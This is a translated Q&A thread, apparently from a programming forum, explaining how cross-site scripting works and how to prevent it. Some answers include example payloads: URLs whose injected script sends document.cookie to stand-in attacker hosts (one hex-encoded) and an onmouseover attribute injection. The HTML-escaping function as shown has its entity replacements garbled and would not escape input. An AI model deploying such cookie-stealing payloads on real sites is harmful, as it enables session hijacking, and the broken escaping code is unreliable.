有人可以用简单的英语解释 XSS 是如何工作的吗?也许举个例子。谷歌搜索没有多大帮助。
6 回答
跨站脚本基本上是动态网页的安全漏洞,攻击者可以创建恶意链接将不需要的可执行 JavaScript 注入网站。当 GET 变量被打印或回显而不过滤或检查其内容时,此漏洞最常见的情况发生。
当受害者单击链接时,恶意代码可以将受害者的 cookie 发送到另一台服务器,或者它可以修改受影响的站点、注入表单、窃取用户名和密码以及其他网络钓鱼技术。
恶意链接示例:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
对恶意代码进行编码也很常见,例如以十六进制编码:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
只要来自应用程序外部的字符串可以被解释为代码,就会存在 XSS 漏洞。
例如,如果您通过执行以下操作生成 HTML:
<BODY>
<?= $myQueryParameter ?>
</BODY>
那么如果$myQueryParameter
变量包含一个<SCRIPT>
标签,那么它将最终执行代码。
要防止输入作为代码执行,您需要正确转义内容。
上述问题可以通过意识到$myQueryParameter
变量包含纯文本来解决,但您不能只是将纯文本放入 HTML 中并期望它能够工作。
因此,您需要将纯文本转换为 HTML,以便将其放入 HTML 页面。将一种语言的字符串转换为另一种语言以便可以嵌入的过程正在转义。
您可以使用以下函数将纯文本转义为 HTML:
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
简而言之, XSS是一个安全漏洞,攻击者可以在其中构建恶意脚本来破坏网站。现在它是如何工作的?
正如我们所知,XSS需要一个输入字段,或者我们可以说 GET 变量通过它输入是回显给用户,无需过滤,有时甚至过滤。请求后,浏览器可以接受(“源代码”)作为向用户显示内容的响应。请记住您在输入字段中写的内容,它将在源代码响应中。因此您应该检查它,因为有时 Web 开发人员会限制警告框。
如果您首先是攻击者,您需要通过使用脚本标签来了解 xss 漏洞。
例如:-警报(“测试”)
这里 alert() 用于制作带有 ok 按钮的弹出框,您在括号中写的任何内容都会在屏幕上弹出。并且脚本标签是不可见的。
现在攻击者可以制作恶意脚本来窃取 cookie、窃取凭据等。
例如:- hxxp://www.VulnerableSite.com/index.php?search=location.href = '<a href="http://www.Yoursite.com/Stealer.php?cookie="rel=" nofollow noreferrer">http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;
在这里,您的站点是攻击者站点,在该站点上,攻击者可以借助 document.cookie 将受害者的 cookie 重定向到他自己的站点上。
而已。
这里脚本标签不可见
简单英语
XSS 是指在网页中插入脚本(即 JavaScript 代码),以便浏览器执行代码。这是恶意的,因为它可以用来窃取 cookie 和页面上的任何其他数据。例如:
搜索框的 HTML:<input value="*search value here*">
现在,如果您 insert " onmouseover="alert(1)
,最终的 HTML 将是<input value="" onmouseover="alert(1)">
当鼠标经过搜索框时,将执行“警报”。
在“维基文本”中
跨站点脚本 (XSS) 是一种通常在 Web 应用程序中发现的计算机安全漏洞。XSS 使攻击者能够将客户端脚本注入到其他用户查看的网页中。攻击者可能会利用跨站脚本漏洞绕过同源策略等访问控制。
我写了一篇关于什么是 XSS 以及作为 PHP 开发人员如何解决它的文章。还有两种类型的 XSS 攻击的示例(持久性与非持久性)。
XSS 攻击有两种类型:
- 非持久性:这将是一个特制的 URL,它将脚本作为参数之一嵌入到目标页面。讨厌的 URL 可以通过电子邮件发送出去,目的是诱使收件人点击它。目标页面错误地处理了参数,并且无意中将最初通过 URL 字符串传入的代码发送到了客户端机器。
- 持久性:此攻击使用站点上的一个页面,该页面将表单数据保存到数据库中,而没有正确处理输入数据。恶意用户可以将讨厌的脚本作为典型数据字段(如姓氏)的一部分嵌入在客户端的 Web 浏览器上,在不知不觉中运行。通常,讨厌的脚本会被存储到数据库中,并在每个客户访问受感染页面时重新运行。
在此处查看更多信息: http ://www.thedablog.com/what-is-xss/
跨站脚本 -
当网站信任用户而不过滤用户输入时导致的漏洞。用户输入会导致在站点上执行不需要的脚本。
预防:
使用 HTML 输入过滤器过滤用户输入
(例如 php 中的 strip_tags、htmlspecialchars、htmlentities、mysql_real_string_escape)
CSRF:
当用户信任站点但站点可能会获取用户信息并滥用它时导致的漏洞。
预防:
- 每次呈现表单时都会唯一地自动生成一个 csrf_token。csrf_token 在表单提交时发送到服务器进行验证。例如https://docs.djangoproject.com/en/dev/ref/contrib/csrf/